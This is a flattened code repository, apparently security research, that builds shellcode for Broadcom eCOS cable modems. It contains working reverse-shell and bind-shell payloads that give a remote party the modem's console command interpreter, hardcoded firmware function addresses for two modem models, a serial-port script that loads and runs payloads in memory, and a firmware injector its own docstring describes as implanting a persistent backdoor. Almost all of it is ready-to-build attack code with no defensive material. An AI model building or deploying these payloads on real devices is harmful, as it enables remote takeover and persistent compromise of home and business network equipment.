├── .gitignore ├── sample.h ├── install.sh ├── payload.h ├── sample.c ├── CG3700 └── payload.ld ├── inject.py ├── Makefile ├── TCG300 └── payload.ld ├── LICENSE ├── upload.py ├── reverseshell.c ├── bindshell.c ├── includes ├── basetype.h └── cyg_type.h ├── reverseshell_thread.c ├── bindshell_thread.c ├── README.md └── external.h /.gitignore: -------------------------------------------------------------------------------- 1 | *bin 2 | *elf 3 | gnutools 4 | gnutools/* 5 | -------------------------------------------------------------------------------- /sample.h: -------------------------------------------------------------------------------- 1 | #ifndef _SAMPLE_H 2 | #define _SAMPLE_H 3 | 4 | /* 5 | * Entrypoint 6 | */ 7 | int __start(void) __attribute__((section(".start"))); 8 | 9 | /* 10 | * Network thread 11 | */ 12 | int payload(void); 13 | 14 | #endif /* _SAMPLE_H */ 15 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh -x 2 | wget http://www.mirrorservice.org/sites/sourceware.org/pub/ecos/gnutools/i386linux/ecoscentric-gnutools-mipsisa32-elf-20081107-sw.i386linux.tar.bz2 3 | tar xvf ecoscentric-gnutools-mipsisa32-elf-20081107-sw.i386linux.tar.bz2 4 | rm ecoscentric-gnutools-mipsisa32-elf-20081107-sw.i386linux.tar.bz2 5 | -------------------------------------------------------------------------------- /payload.h: -------------------------------------------------------------------------------- 1 | #ifndef _PAYLOAD_H 2 | #define _PAYLOAD_H 3 | 4 | /* 5 | * Entrypoint 6 | */ 7 | int __start(unsigned long ip_address, unsigned short port) __attribute__((section(".start"))); 8 | 9 | /* 10 | * Network thread 11 | */ 12 | int payload(struct sockaddr_in* host); 13 | 14 | #endif /* _PAYLOAD_H */ 15 | -------------------------------------------------------------------------------- /sample.c: -------------------------------------------------------------------------------- 1 | #include "external.h" 2 | #include "sample.h" 3 | 4 | #define PAYLOAD_PRIORITY 11 5 | #define PAYLOAD_STACKSIZE 0x2000 6 | /* Globals */ 7 | 8 | int __start(void) 9 | { 10 | printf("__start called\n"); 11 | int payload_handle; 12 | char* payload_stack = malloc(PAYLOAD_STACKSIZE * sizeof(char)); 13 | static cyg_thread payload_thread; 14 | int id = 0; 15 | int res; 16 | printf("calling cyg_thread_create\n"); 17 | cyg_thread_create( 18 | PAYLOAD_PRIORITY, 19 | &payload, 20 | 0, 21 | "payload", 22 | payload_stack, 23 | PAYLOAD_STACKSIZE, 24 | &payload_handle, 25 | &payload_thread 26 | ); 27 | printf("calling cyg_thread_resume\n"); 28 | cyg_thread_resume(payload_handle); 29 | return 0; 30 | } 31 | 32 | int payload(void){ 33 | 34 | while(1){ 35 | printf("\n[+] I'm a sample thread, running in the background.\n"); 36 | sleep(5); 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /CG3700/payload.ld: -------------------------------------------------------------------------------- 1 | socket = 0x80d95970; 2 | bind = 0x80d95c78; 3 | listen = 0x80d96114; 4 | accept = 0x80d95ae8; 5 | connect = 0x80d95d5c; 6 | send = 0x80d96684; 7 | recv = 0x80d9642c; 8 | close = 0x80d94898; 9 | inet_ntop4 = 0x80d450ec; 10 | inet_addr = 0x80d44cd0; 11 | inet_aton = 0x80d44cfc; 12 | malloc = 0x8002a554; 13 | free = 0x8002a744; 14 | bzero = 0x80d3fce8; 15 | memset = 0x80d32ee8; 16 | printf = 0x80bc9b38; 17 | strncmp = 0x8064f7a0; 18 | strcpy = 0x80d3f414; 19 | strncpy = 0x80d3f6c8; 20 | strerror = 0x80d419c4; 21 | sleep = 0x80d92ccc; 22 | cyg_error_get_errno_p = 0x80d41ce0; 23 | cyg_thread_create = 0x80d34428; 24 | cyg_thread_resume = 0x80d34520; 25 | cyg_thread_exit = 0x80d34490; 26 | cyg_fp_get = 0x80d93cf8; 27 | cyg_fp_free = 0x80d93d60; 28 | cyg_fd_assign = 0x80d93c20; 29 | cyg_fd_free = 0x80d93c90; 30 | BcmConsoleExecuteCurrentCommand = 0x8024e2ec; 31 | BcmConsoleGetSingletonInstance = 0x8024e298; 32 | 33 | SECTIONS 34 | { 35 | . = 0x80810000; 36 | .start : { *(.start) } 37 | .text : { *(.text) } 38 | .data : { *(.data) } 39 | .rodata : { *(.rodata) } 40 | } 41 | -------------------------------------------------------------------------------- /inject.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | ''' 3 | Overwrite an unpacked firmware file section with the content of a shellcode 4 | file from offset 'start' to offset 'end'. 5 | This can be used to inject custom shellcode in a firmware to implant a persistent 6 | backdoor. 7 | 8 | Reference: https://ecos.wtf/2021/03/15/ecos-persistence-firmware 9 | Author: Quentin Kaiser 10 | ''' 11 | 12 | import sys 13 | 14 | LOAD_ADDRESS = 0x80004000 15 | 16 | if __name__ == "__main__": 17 | 18 | if len(sys.argv) < 5: 19 | print("Usage: {} firmware shellcode start end") 20 | sys.exit(-1) 21 | 22 | firmware_file = sys.argv[1] 23 | shellcode_file = sys.argv[2] 24 | start_offset = int(sys.argv[3], 16) - LOAD_ADDRESS 25 | end_offset = int(sys.argv[4], 16) - LOAD_ADDRESS 26 | 27 | available_space = end_offset - start_offset 28 | 29 | print("Available space: {} bytes".format(available_space)) 30 | 31 | with open(shellcode_file, 'rb') as f: 32 | shellcode = f.read() 33 | 34 | if len(shellcode) > available_space: 35 | print("Not enough available space to fit shellcode") 36 | sys.exit(-1) 37 | 38 | padding = b"\x00" * (available_space - len(shellcode)) 39 | 40 | 41 | 42 | print("Overwriting firmware file with shellcode.") 43 | with open(firmware_file, 'r+b') as f: 44 | f.seek(start_offset) 45 | f.write(shellcode) 46 | f.write(padding) 47 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | #PLATFORM=TCG300 2 | PLATFORM=CG3700 3 | TCPREFIX=gnutools/mipsisa32-elf/bin/mipsisa32-elf- 4 | CC=$(TCPREFIX)gcc 5 | OBJCOPY=$(TCPREFIX)objcopy 6 | LDSCRIPT=$(PLATFORM)/payload.ld 7 | CFLAGS=-march=mips32 -mabi=eabi -msoft-float -mno-abicalls -fno-builtin -nostdlib -nodefaultlibs -nostartfiles -T $(LDSCRIPT) 8 | 9 | default: sample.bin reverseshell.bin reverseshell_thread.bin bindshell.bin bindshell_thread.bin 10 | 11 | sample.elf: sample.c 12 | $(CC) sample.c -o $@ $(CFLAGS) 13 | 14 | sample.bin: sample.elf 15 | $(OBJCOPY) -O binary -j .start -j .text -j .data -j .rodata $< $@ 16 | 17 | reverseshell.elf: 18 | $(CC) reverseshell.c -o $@ $(CFLAGS) 19 | 20 | reverseshell.bin: reverseshell.elf 21 | $(OBJCOPY) -O binary -j .start -j .text -j .data -j .rodata $< $@ 22 | 23 | reverseshell_thread.elf: 24 | $(CC) reverseshell_thread.c -o $@ $(CFLAGS) 25 | 26 | reverseshell_thread.bin: reverseshell_thread.elf 27 | $(OBJCOPY) -O binary -j .start -j .text -j .data -j .rodata $< $@ 28 | 29 | bindshell.elf: bindshell.c 30 | $(CC) bindshell.c -o $@ $(CFLAGS) 31 | 32 | bindshell.bin: bindshell.elf 33 | $(OBJCOPY) -O binary -j .start -j .text -j .data -j .rodata $< $@ 34 | 35 | bindshell_thread.elf: bindshell_thread.c 36 | $(CC) bindshell_thread.c -o $@ $(CFLAGS) 37 | 38 | bindshell_thread.bin: bindshell_thread.elf 39 | $(OBJCOPY) -O binary -j .start -j .text -j .data -j .rodata $< $@ 40 | 41 | .PHONY: clean 42 | 43 | clean: 44 | rm -f *.elf *.bin 45 | -------------------------------------------------------------------------------- /TCG300/payload.ld: -------------------------------------------------------------------------------- 1 | socket = 0x80e936d0; 2 | bind = 0x80e939d8; 3 | listen = 0x80e93e74; 4 | accept = 0x80e93848; 5 | connect = 0x80e93abc; 6 | recv = 0x80e9418c; 7 | malloc = 0x8001696c; 8 | bzero = 0x80e3ae1c; 9 | strncpy = 0x80e3a7fc; 10 | memset = 0x80e2da20; 11 | cyg_fp_get = 0x80e91690; 12 | cyg_fp_free = 0x80e916f8; 13 | cyg_fd_free = 0x80e91628; 14 | free = 0x80016bf0; 15 | strcpy = 0x80e3a548; 16 | strncmp = 0x8062e8b4; 17 | printf = 0x80e373bc; 18 | send = 0x80e943e4; 19 | BcmConsoleExecuteCurrentCommand = 0x802a9280; 20 | cyg_fd_assign = 0x80e915b8; 21 | BcmConsoleGetSingletonInstance = 0x802a922c; 22 | cyg_thread_create = 0x80e2ef60; 23 | cyg_thread_resume = 0x80e2f058; 24 | cyg_thread_exit = 0x80e2efc8; 25 | cyg_thread_get_info = 0x80e2f264; 26 | cyg_thread_get_next = 0x80e2f19c; 27 | inet_addr = 0x80e408b8; 28 | inet_aton = 0x80e408e4; 29 | cyg_error_get_errno_p = 0x80e3d844; 30 | strerror = 0x80e3d528; 31 | getservbyname = 0x80e9b110; 32 | getsockname = 0x80e93c88; 33 | close = 0x80e925f8; 34 | sleep = 0x80e90608; 35 | bsd_bind = 0x80e2acec; 36 | tcp_usr_bind = 0x80e9d290; 37 | udp_bind = 0x80e59da0; 38 | bsd_socket = 0x80e2ac54; 39 | setsockopt = 0x80e94404; 40 | getpeername = 0x80e93ba0; 41 | strlen = 0x80e3a670; 42 | write = 0x80e925cc; 43 | inet_ntoa = 0x80e40b7c; 44 | inet_ntop4 = 0x80e40cd4; 45 | 46 | NandFlashRead = 0x803cf674; 47 | NandFlashWrite = 0x803cf1ec; 48 | 49 | SECTIONS 50 | { 51 | . = 0x80810000; 52 | .start : { *(.start) } 53 | .text : { *(.text) } 54 | .data : { *(.data) } 55 | .rodata : { *(.rodata) } 56 | } 57 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2021, Konkrete Security 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /upload.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | ''' 3 | Write the given file content into RAM by taking advantage of 'write_memory' 4 | CLI function of Broadcom eCOS platform. 5 | 6 | An integrity check is performed by reading content off the device's memory 7 | by using 'read_memory' CLI function and comparing its content to the original 8 | file. 9 | 10 | Author: Quentin Kaiser 11 | ''' 12 | import serial 13 | import re 14 | import sys 15 | import struct 16 | 17 | def upload_and_run(filename, dest_addr=0x80810000): 18 | with serial.Serial() as ser: 19 | ser.baudrate = 115200 20 | ser.port = '/dev/ttyUSB0' 21 | ser.open() 22 | ser.write(b"\n") 23 | ser.readline() 24 | 25 | with open(filename, 'rb') as f: 26 | payload = f.read() 27 | 28 | print("[+] Writing payload to memory.") 29 | for off in range(0, len(payload), 4): 30 | addr = hex(dest_addr + off) 31 | val = payload[off:off+4].hex() 32 | cmd = bytes(f'write_memory -s 4 {addr} 0x{val}\r\n', 'utf-8') 33 | ser.write(cmd) 34 | ser.readline() # echo 35 | ser.readline() # newline 36 | ser.readline() # echo 37 | ser.readline() # newline 38 | ser.readline() # newline 39 | 40 | effective_payload = b"" 41 | print("[+] Reading payload from memory.") 42 | for off in range(0, len(payload), 4): 43 | addr = hex(dest_addr + off) 44 | val = payload[off:off+4].hex() 45 | cmd = bytes(f'read_memory -n 4 {addr}\r\n', 'utf-8') 46 | ser.write(cmd) 47 | match = [] 48 | while not match: 49 | output = ser.readline() # content 50 | match = re.findall(b"[0-9-a-f]{8}: ([0-9-a-f ]{11})",output) 51 | address = int(match[0].replace(b" ", b"").decode('utf-8'), 16) 52 | effective_payload += struct.pack(">I", address) 53 | 54 | if payload == effective_payload: 55 | print("[+] Integrity check passed.") 56 | print('call func -r -a 0x{:2x}'.format(dest_addr)) 57 | 58 | if __name__ == "__main__": 59 | 60 | if len(sys.argv) < 3: 61 | print( 62 | "Usage: {} shellcode address (e.g. 0x80810000)"\ 63 | .format(sys.argv[0]) 64 | ) 65 | sys.exit(-1) 66 | upload_and_run(sys.argv[1], dest_addr=int(sys.argv[2], 16)) 67 | -------------------------------------------------------------------------------- /reverseshell.c: -------------------------------------------------------------------------------- 1 | #include "external.h" 2 | #include "payload.h" 3 | /** 4 | * This is the most basic reverse shell example I could come up with. 5 | * This is blocking when called from the CLI. 6 | */ 7 | #define PAYLOAD_PRIORITY 23 8 | #define PAYLOAD_STACKSIZE 0x2000 9 | #define COMMAND_OFFSET 0x1080 10 | 11 | int __start(unsigned long ip_address, unsigned short port) 12 | { 13 | // create remote host sockaddr structure with received IP 14 | // and port as command line parameters 15 | struct sockaddr_in* host = (struct sockaddr_in*)\ 16 | malloc(sizeof(struct sockaddr_in)); 17 | host->sin_family = AF_INET; 18 | host->sin_port = port; 19 | host->sin_addr.s_addr = ip_address; 20 | 21 | int sockfd; 22 | int recvd; 23 | 24 | char addrbuf[16]; 25 | inet_ntop4(&host->sin_addr, addrbuf, sizeof(addrbuf)); 26 | printf("[+] Launching reverse shell to %s:%d\n", addrbuf, host->sin_port); 27 | 28 | if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { 29 | printf("[!] socket error - %s\n", strerror(errno)); 30 | } 31 | 32 | // without sleep, the sockfd does not work for some reason 33 | sleep(2); 34 | 35 | if (connect(sockfd, host, 0x2020) < 0) { 36 | printf("[!] connect error - %s\n", strerror(errno)); 37 | return -1; 38 | } 39 | 40 | char *buffer = malloc(0x100); 41 | if(buffer == NULL){ 42 | printf("[!] Error when allocating buffer.\n"); 43 | return -1; 44 | } 45 | 46 | void *console_instance = BcmConsoleGetSingletonInstance(); 47 | int *fp = (int*)cyg_fp_get(sockfd); 48 | cyg_fd_assign(0x1, fp); 49 | cyg_fp_free(fp); 50 | 51 | while (1) 52 | { 53 | bzero(buffer, 0x100); 54 | recvd = recv(sockfd, buffer, 0x100, 0x0); 55 | 56 | if (recvd > 0) { 57 | char *command_buffer = ((char *)console_instance); 58 | command_buffer += COMMAND_OFFSET; 59 | strcpy(command_buffer, buffer); 60 | if(strncmp("exit", buffer, 4) == 0) { 61 | break; 62 | } 63 | command_buffer[recvd+1] = 0x0; 64 | BcmConsoleExecuteCurrentCommand(console_instance); 65 | } 66 | else{ 67 | // -1 is error; 0 is disconnected 68 | break; 69 | } 70 | } 71 | printf("[+] Quitting. Reassigning console.\n"); 72 | fp = (int*)cyg_fp_get(2); 73 | cyg_fd_assign(0x01, fp); 74 | cyg_fp_free(fp); 75 | close(sockfd); 76 | return 0; 77 | } 78 | -------------------------------------------------------------------------------- /bindshell.c: -------------------------------------------------------------------------------- 1 | #include "external.h" 2 | #include "payload.h" 3 | /** 4 | * This is the most basic reverse shell example I could come up with. 5 | * This is blocking when called from the CLI. 6 | */ 7 | #define PAYLOAD_PRIORITY 23 8 | #define PAYLOAD_STACKSIZE 0x2000 9 | #define COMMAND_OFFSET 0x1080 10 | 11 | int __start(unsigned long ip_address, unsigned short port) 12 | { 13 | // create remote host sockaddr structure with received IP 14 | // and port as command line parameters 15 | struct sockaddr_in* host = (struct sockaddr_in*)\ 16 | malloc(sizeof(struct sockaddr_in)); 17 | host->sin_family = AF_INET; 18 | host->sin_port = port; 19 | host->sin_addr.s_addr = ip_address; 20 | 21 | int sockfd; 22 | int recvd; 23 | int client_sockfd; 24 | int new_addrlen; 25 | struct sockaddr_in client_addr; 26 | 27 | char addrbuf[16]; 28 | inet_ntop4(&host->sin_addr, addrbuf, sizeof(addrbuf)); 29 | printf("[+] Launching bind shell on %s:%d\n", addrbuf, host->sin_port); 30 | 31 | if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { 32 | printf("[!] socket error - %s\n", strerror(errno)); 33 | } 34 | 35 | // without sleep, the sockfd does not work for some reason 36 | sleep(2); 37 | 38 | if (bind(sockfd, host, 0x2020) != 0) { 39 | printf("[!] bind error - %s\n", strerror(errno)); 40 | return -1; 41 | } 42 | printf("[+] bind successful\n"); 43 | 44 | if (listen(sockfd, 0) < 0) { 45 | printf("[!] listen error - %s\n", strerror(errno)); 46 | return -1; 47 | } 48 | 49 | printf("[+] listen successful"); 50 | 51 | for(;;){ 52 | new_addrlen = sizeof(client_addr); 53 | client_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &new_addrlen); 54 | if(client_sockfd < 0){ 55 | printf("[!] accept error - %s\n", strerror(errno)); 56 | return -1; 57 | } 58 | void *buffer = malloc(0x100); 59 | if(buffer == NULL){ 60 | printf("[!] Error when allocating buffer.\n"); 61 | return -1; 62 | } 63 | 64 | void *console_instance = BcmConsoleGetSingletonInstance(); 65 | int *fp = (int*)cyg_fp_get(client_sockfd); 66 | cyg_fd_assign(0x1, fp); 67 | cyg_fp_free(fp); 68 | 69 | while (1) 70 | { 71 | bzero(buffer, 0x100); 72 | recvd = recv(client_sockfd, buffer, 0x100, 0x0); 73 | if (recvd > 0) { 74 | char *command_buffer = ((char *)console_instance); 75 | command_buffer += COMMAND_OFFSET; 76 | strcpy(command_buffer, buffer); 77 | if(strncmp("exit", buffer, 4) == 0) { 78 | break; 79 | } 80 | command_buffer[recvd+1] = 0x0; 81 | BcmConsoleExecuteCurrentCommand(console_instance); 82 | } 83 | else{ 84 | // -1 is error; 0 is disconnected 85 | break; 86 | } 87 | } 88 | close(client_sockfd); 89 | break; 90 | } 91 | printf("[+] Quitting. Reassigning console.\n"); 92 | int* fp = (int*)cyg_fp_get(2); 93 | cyg_fd_assign(0x01, fp); 94 | cyg_fp_free(fp); 95 | close(sockfd); 96 | return 0; 97 | } 98 | -------------------------------------------------------------------------------- /includes/basetype.h: -------------------------------------------------------------------------------- 1 | #ifndef CYGONCE_HAL_BASETYPE_H 2 | #define CYGONCE_HAL_BASETYPE_H 3 | 4 | //============================================================================= 5 | // 6 | // basetype.h 7 | // 8 | // Standard types for this architecture. 9 | // 10 | //============================================================================= 11 | //####ECOSGPLCOPYRIGHTBEGIN#### 12 | // ------------------------------------------- 13 | // This file is part of eCos, the Embedded Configurable Operating System. 14 | // Copyright (C) 1998, 1999, 2000, 2001, 2002 Red Hat, Inc. 15 | // 16 | // eCos is free software; you can redistribute it and/or modify it under 17 | // the terms of the GNU General Public License as published by the Free 18 | // Software Foundation; either version 2 or (at your option) any later version. 19 | // 20 | // eCos is distributed in the hope that it will be useful, but WITHOUT ANY 21 | // WARRANTY; without even the implied warranty of MERCHANTABILITY or 22 | // FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License 23 | // for more details. 24 | // 25 | // You should have received a copy of the GNU General Public License along 26 | // with eCos; if not, write to the Free Software Foundation, Inc., 27 | // 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. 28 | // 29 | // As a special exception, if other files instantiate templates or use macros 30 | // or inline functions from this file, or you compile this file and link it 31 | // with other works to produce a work based on this file, this file does not 32 | // by itself cause the resulting work to be covered by the GNU General Public 33 | // License. However the source code for this file must still be made available 34 | // in accordance with section (3) of the GNU General Public License. 35 | // 36 | // This exception does not invalidate any other reasons why a work based on 37 | // this file might be covered by the GNU General Public License. 38 | // 39 | // Alternative licenses for eCos may be arranged by contacting Red Hat, Inc. 40 | // at http://sources.redhat.com/ecos/ecos-license/ 41 | // ------------------------------------------- 42 | //####ECOSGPLCOPYRIGHTEND#### 43 | //============================================================================= 44 | //#####DESCRIPTIONBEGIN#### 45 | // 46 | // Author(s): nickg 47 | // Contributors: nickg 48 | // Date: 1998-02-05 49 | // Purpose: Define architecture base types. 50 | // Usage: Included by , do not use directly 51 | // 52 | //####DESCRIPTIONEND#### 53 | // 54 | 55 | //----------------------------------------------------------------------------- 56 | // Characterize the architecture 57 | 58 | # define CYG_BYTEORDER CYG_MSBFIRST // Big endian 59 | 60 | # define CYG_DOUBLE_BYTEORDER CYG_MSBFIRST // Big endian 61 | 62 | //----------------------------------------------------------------------------- 63 | // MIPS does not usually use labels with undersores. 64 | 65 | //#define CYG_LABEL_NAME(_name_) _name_ 66 | 67 | //----------------------------------------------------------------------------- 68 | // Define the standard variable sizes 69 | 70 | // The MIPS architecture uses the default definitions of the base types, 71 | // so we do not need to define any here. 72 | 73 | //----------------------------------------------------------------------------- 74 | #endif // CYGONCE_HAL_BASETYPE_H 75 | // End of basetype.h 76 | -------------------------------------------------------------------------------- /reverseshell_thread.c: -------------------------------------------------------------------------------- 1 | #include "external.h" 2 | #include "payload.h" 3 | /** 4 | * This is the most basic reverse shell example I could come up with. 5 | * 6 | */ 7 | #define PAYLOAD_PRIORITY 23 8 | #define PAYLOAD_STACKSIZE 0x2000 9 | #define COMMAND_OFFSET 0x1080 10 | 11 | int __start(unsigned long ip_address, unsigned short port) 12 | { 13 | // create remote host sockaddr structure with received IP and port as command line 14 | // parameters 15 | struct sockaddr_in host; 16 | host.sin_family = AF_INET; 17 | host.sin_port = port; 18 | host.sin_addr.s_addr = ip_address; 19 | // NOTE: there is an open question regarding the dynamic allocation 20 | // of a thread object and corresponding stack on the heap. 21 | // 22 | // Usually, these are defined statically with 'static' keyword and allocation 23 | // is somewhere fixed. 24 | // 25 | // However, if we do that we cannot generate a proper shellcode due to bss size 26 | // restrictions so we use the heap, which may or may not reposess that memory. 27 | // So far it worked pretty well. 28 | int payload_handle; 29 | // allocate thread stack memory 30 | char* payload_stack = malloc(PAYLOAD_STACKSIZE * sizeof(char)); 31 | // allocate thread object 32 | //cyg_thread* payload_thread = malloc(sizeof(payload_thread)); 33 | static cyg_thread payload_thread; 34 | // create thread 35 | cyg_thread_create( 36 | PAYLOAD_PRIORITY, 37 | &payload, 38 | //host, 39 | &host, 40 | "payload", 41 | payload_stack, 42 | PAYLOAD_STACKSIZE, 43 | &payload_handle, 44 | &payload_thread 45 | ); 46 | // launch thread 47 | cyg_thread_resume(payload_handle); 48 | // this sleep call is required otherwise the host struct 49 | // is reclaimed, and the structure is messed up when 50 | // our thread calls connect(). 51 | sleep(5); 52 | host.sin_port = port; 53 | return 0; 54 | } 55 | 56 | int payload(struct sockaddr_in* host){ 57 | 58 | int sockfd; 59 | int recvd; 60 | 61 | char addrbuf[16]; 62 | inet_ntop4(&host->sin_addr, addrbuf, sizeof(addrbuf)); 63 | printf("[+] Launching reverse shell to %s:%d\n", addrbuf, host->sin_port); 64 | 65 | if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { 66 | printf("[!] socket error - %s\n", strerror(errno)); 67 | return -1; 68 | } 69 | 70 | // without sleep, the sockfd does not work for some reason 71 | sleep(2); 72 | 73 | if (connect(sockfd, host, 0x2020) < 0) { 74 | printf("[!] connect error - %s\n", strerror(errno)); 75 | return -1; 76 | } 77 | 78 | char *buffer = malloc(0x100); 79 | if(buffer == NULL){ 80 | printf("[!] Error when allocating buffer.\n"); 81 | return -1; 82 | } 83 | 84 | void *console_instance = BcmConsoleGetSingletonInstance(); 85 | int *fp = (int*)cyg_fp_get(sockfd); 86 | cyg_fd_assign(0x1, fp); 87 | cyg_fp_free(fp); 88 | 89 | while (1) 90 | { 91 | bzero(buffer, 0x100); 92 | recvd = recv(sockfd, buffer, 0x100, 0x0); 93 | 94 | if (recvd > 0) { 95 | char *command_buffer = ((char *)console_instance); 96 | command_buffer += COMMAND_OFFSET; 97 | strcpy(command_buffer, buffer); 98 | if(strncmp("exit", buffer, 4) == 0) { 99 | break; 100 | } 101 | command_buffer[recvd+1] = 0x0; 102 | BcmConsoleExecuteCurrentCommand(console_instance); 103 | } 104 | else{ 105 | // -1 is error; 0 is disconnected 106 | break; 107 | } 108 | } 109 | //free up shit 110 | free(buffer); 111 | printf("[+] Quitting. Reassigning console.\n"); 112 | fp = (int*)cyg_fp_get(2); 113 | cyg_fd_assign(0x01, fp); 114 | cyg_fp_free(fp); 115 | close(sockfd); 116 | 117 | //exiting the thread deallocate everything related 118 | //to the thread but the OS keeps metadata about it 119 | //so it will still be visible when calling 'taskShow', 120 | //with status set to 'EXIT' 121 | cyg_thread_exit(); 122 | return 0; 123 | } 124 | -------------------------------------------------------------------------------- /bindshell_thread.c: -------------------------------------------------------------------------------- 1 | #include "external.h" 2 | #include "payload.h" 3 | /** 4 | * This is the most basic reverse shell example I could come up with. 5 | * 6 | */ 7 | #define PAYLOAD_PRIORITY 23 8 | #define PAYLOAD_STACKSIZE 0x2000 9 | #define COMMAND_OFFSET 0x1080 10 | 11 | int __start(unsigned long ip_address, unsigned short port) 12 | { 13 | // create remote host sockaddr structure with received IP and port as command line 14 | // parameters 15 | struct sockaddr_in host; 16 | host.sin_family = AF_INET; 17 | host.sin_port = port; 18 | host.sin_addr.s_addr = ip_address; 19 | // NOTE: there is an open question regarding the dynamic allocation 20 | // of a thread object and corresponding stack on the heap. 21 | // 22 | // Usually, these are defined statically with 'static' keyword and allocation 23 | // is somewhere fixed. 24 | // 25 | // However, if we do that we cannot generate a proper shellcode due to bss size 26 | // restrictions so we use the heap, which may or may not reposess that memory. 27 | // So far it worked pretty well. 28 | int payload_handle; 29 | // allocate thread stack memory 30 | char* payload_stack = malloc(PAYLOAD_STACKSIZE * sizeof(char)); 31 | // allocate thread object 32 | //cyg_thread* payload_thread = malloc(sizeof(payload_thread)); 33 | static cyg_thread payload_thread; 34 | // create thread 35 | cyg_thread_create( 36 | PAYLOAD_PRIORITY, 37 | &payload, 38 | &host, 39 | "payload", 40 | payload_stack, 41 | PAYLOAD_STACKSIZE, 42 | &payload_handle, 43 | &payload_thread 44 | ); 45 | // launch thread 46 | cyg_thread_resume(payload_handle); 47 | // this sleep call is required otherwise the host struct 48 | // is reclaimed, and the structure is messed up when 49 | // our thread calls connect(). 50 | sleep(5); 51 | host.sin_port = port; 52 | return 0; 53 | } 54 | 55 | int payload(struct sockaddr_in* host){ 56 | 57 | int sockfd; 58 | int recvd; 59 | int client_sockfd; 60 | int new_addrlen; 61 | struct sockaddr_in client_addr; 62 | 63 | char addrbuf[16]; 64 | inet_ntop4(&host->sin_addr, addrbuf, sizeof(addrbuf)); 65 | printf("[+] Launching bind shell on %s:%d\n", addrbuf, host->sin_port); 66 | 67 | if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { 68 | printf("[!] socket error - %s\n", strerror(errno)); 69 | } 70 | 71 | // without sleep, the sockfd does not work for some reason 72 | sleep(2); 73 | 74 | if (bind(sockfd, host, 0x2020) != 0) { 75 | printf("[!] bind error - %s\n", strerror(errno)); 76 | return -1; 77 | } 78 | printf("[+] bind successful\n"); 79 | 80 | if (listen(sockfd, 0) < 0) { 81 | printf("[!] listen error - %s\n", strerror(errno)); 82 | return -1; 83 | } 84 | 85 | printf("[+] listen successful"); 86 | 87 | for(;;){ 88 | new_addrlen = sizeof(client_addr); 89 | client_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &new_addrlen); 90 | if(client_sockfd < 0){ 91 | printf("[!] accept error - %s\n", strerror(errno)); 92 | return -1; 93 | } 94 | void *buffer = malloc(0x100); 95 | if(buffer == NULL){ 96 | printf("[!] Error when allocating buffer.\n"); 97 | return -1; 98 | } 99 | 100 | void *console_instance = BcmConsoleGetSingletonInstance(); 101 | int *fp = (int*)cyg_fp_get(client_sockfd); 102 | cyg_fd_assign(0x1, fp); 103 | cyg_fp_free(fp); 104 | 105 | while (1) 106 | { 107 | bzero(buffer, 0x100); 108 | recvd = recv(client_sockfd, buffer, 0x100, 0x0); 109 | if (recvd > 0) { 110 | char *command_buffer = ((char *)console_instance); 111 | command_buffer += COMMAND_OFFSET; 112 | strcpy(command_buffer, buffer); 113 | if(strncmp("exit", buffer, 4) == 0) { 114 | break; 115 | } 116 | command_buffer[recvd+1] = 0x0; 117 | BcmConsoleExecuteCurrentCommand(console_instance); 118 | } 119 | else{ 120 | // -1 is error; 0 is disconnected 121 | break; 122 | } 123 | } 124 | close(client_sockfd); 125 | //free up shit 126 | free(buffer); 127 | break; 128 | } 129 | printf("[+] Quitting. Reassigning console.\n"); 130 | int* fp = (int*)cyg_fp_get(2); 131 | cyg_fd_assign(0x01, fp); 132 | cyg_fp_free(fp); 133 | close(sockfd); 134 | 135 | //exiting the thread deallocate everything related 136 | //to the thread but the OS keeps metadata about it 137 | //so it will still be visible when calling 'taskShow', 138 | //with status set to 'EXIT' 139 | cyg_thread_exit(); 140 | return 0; 141 | } 142 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # eCOS Shellcodes 2 | 3 | Shellcode generation for eCOS platform. Right now mostly focused on Broadcom eCOS platform (Broadcom Foundation Classes). 4 | 5 | 